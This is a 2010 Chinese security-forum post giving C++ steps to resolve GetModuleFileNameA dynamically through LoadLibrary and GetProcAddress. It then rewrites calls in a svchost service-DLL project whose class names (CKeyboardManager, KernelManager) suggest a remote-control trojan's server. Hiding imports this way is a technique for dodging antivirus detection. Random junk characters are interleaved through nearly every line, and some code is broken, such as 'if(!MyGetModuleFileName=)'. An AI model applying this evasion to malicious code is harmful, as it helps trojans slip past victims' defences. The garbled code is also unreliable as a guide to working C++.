Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记- t. r* ^# m5 w% ]2 `
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h9 q' Y7 O9 Y" W& \8 P' a" v3 w
----------------------------------------
4 {1 w1 H( l0 J$ Q/ I0 kDTDY.h:4 |7 b  G# p4 M1 q4 O0 h
! ]$ g) X* c7 Z2 d: W4 g" W
#if _MSC_VER>10001 D" O& F) _# s/ g
#pragma once* F* f7 f4 Q) l. ^
#endif //_MSC_VER>1000" |$ i! o: ]3 J! \
#include<windows.h>0 S  u, H" V+ b" ?3 P, d* Y$ E' C: M- ]
6 \1 r& ]! K$ y% A' f
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);& P" p5 i" o, E) f1 [
class DTDY) }  p( V* b& M* {( X0 g8 Z; H
{
7 n, I) t4 `. T* Fpublic:  K8 u2 t/ y( c- n
DTDY();! _% C5 `2 n4 W2 N* _" B2 k
virtual ~DTDY();; h$ n- e9 `( n; f6 a
public:
5 \- W6 H" w+ d; O3 F3 V. f; kstatic pGetModuleFileNameA MyGetModuleFileName;. o! E2 a/ y  ^% l
static BOOL FunInitiallization();. g) w* Q" O: D( c0 b
};
7 t! \- d& m3 Q#endif$ o7 v+ d( L; l2 f1 o
----------------------------------------
. }- v4 B) r, Y& ?1 |
; O; A9 _/ R1 X9 vDTDY.cpp:
9 E7 f2 v7 z: Z) k5 \/ Q8 q8 Y- N: q) \
#include "DTDY.h"( u3 Z2 ?: {3 q/ Z+ i9 W+ }
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;! S. K" P. k) \" R
DTDY:TDY()
6 e' r* ?* u, B; i4 q{
$ C" w8 q4 f* y( O0 D9 b- r}
* w# I  I' @3 z, vDTDY::~DTDY(), `' j2 q- K* }6 J8 S/ [/ Y' {
{
) ^, Q3 R7 ]/ n- i- s}3 o7 |8 Z2 _1 w  U+ N" g0 Y
BOOL DTDY::FunInitiallization()
8 y/ A) w4 I" ^' M, z  H- t{
7 t' ~0 H9 A* i! r+ K  JHMODULE hModule=LoadLibrary("kernel32.dll");
2 G! u% i+ {. s* xMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ f# t: O( f/ {- s2 Yif(!MyGetModuleFileName=) return FALSE;5 L3 c  m  D$ @, ~) m- `9 z; B. a

3 N9 I* e' Y: s- z( Xreturn TRUE;
3 @2 l- ]0 `  v" s- X}, D0 h- J1 V$ V# Q7 n0 R! t2 d5 Y
----------------------------------------
, |# r7 ?$ @! b" C; M( psvchost.cpp:
. b. X9 l) d. l/ B( Z8 m
! H8 l( v4 u8 E6 p0 p; y8 C6 A#include "DTDY.h"
% `! `& A6 U" ^8 [' x
) P8 v8 `/ U( M3 L4 VBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)/ B' d% I* z* l! ?+ ~! C* {. \( F
{
) \* g0 ]# R3 M1 E' R# P" D$ dswitch(ul_reason_for_call)) q( f* ~. f1 @) Q6 f
{# _: q/ r* m+ c8 [% s- U. o
case DLL_PROCESS_ATTACH:
$ `5 F/ e3 Y+ N1 xif(!DTDY::FunInitiallization()) return FALSE;. H4 Z( n3 Y; r$ J, C7 v* h
( a: x. ?- t4 u
break;
" ^4 j; L4 g% j9 Y# w: u}9 w0 Q& A: S, q' g) W
}
- r$ d6 x; g4 G. F- O1 e' _* {; T" ^
, l; o7 ~! Y; _: O# V! p; V0 R6 C
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def$ h: |' G8 P5 l
改写为* P, F4 d" ~! y+ t  x6 A5 t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
& G% {7 i3 h3 n3 J; j----------------------------------------
6 s. F: \+ t! r0 mKernelManager.cpp:1 @% A/ _0 p) w: _5 v$ `# Z

& H" G& u9 [: b' I8 f#include "../DTDY.h"
# P$ K6 u; g- }4 Z# oGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  b( A7 \" F, `( m3 g9 d" d) ?改写为
) g8 V# C. k+ Z  V9 B3 M* yDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( g' `# _! X; a6 A% L
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2